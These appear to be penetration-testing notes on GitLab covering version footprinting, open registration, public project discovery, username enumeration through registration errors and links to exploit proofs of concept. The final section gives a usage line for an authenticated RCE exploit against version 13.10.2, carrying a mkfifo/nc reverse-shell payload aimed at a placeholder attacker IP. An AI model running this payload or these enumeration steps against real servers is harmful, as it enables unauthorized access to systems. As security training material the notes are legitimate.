Gitlab

Introduction

• GitLab is an open source end-to-end software development platform with built-in version control, issue tracking, code review, CI/CD, and more.

• There's not much we can do against GitLab without knowing the version number or being logged in.

• In some cases, you can register a user accoun without admin confirmation

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GitLab Footprinting & Enumeration

• There's not much we can do against GitLab without knowing the version number or being logged in.

• The only way to footprint the GitLab version number in use is by browsing to the /help page when logged in.

• Some GitLab istances may allow user registration without confirmation from an administrator

• Authenticated: browsing to /explore we can check for any public projects that may contain something interesting

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GitLab User Enumeration

• We can enumerate valid (used) usernames by using the registration form error messages

• Resources (PoCs for enumerating users):

  • https://www.exploit-db.com/exploits/49821

  • https://github.com/dpgg101/GitLabUserEnum

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GitLab Authenticated RCE

• Affected version: 13.10.2

• Exploit: https://www.exploit-db.com/exploits/49951

• PoC Usage: python3 gitlab_13_10_2_rce.py -t http://gitlab.test.example:8081 -u user -p password -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc your-ip your-nc-port >/tmp/f '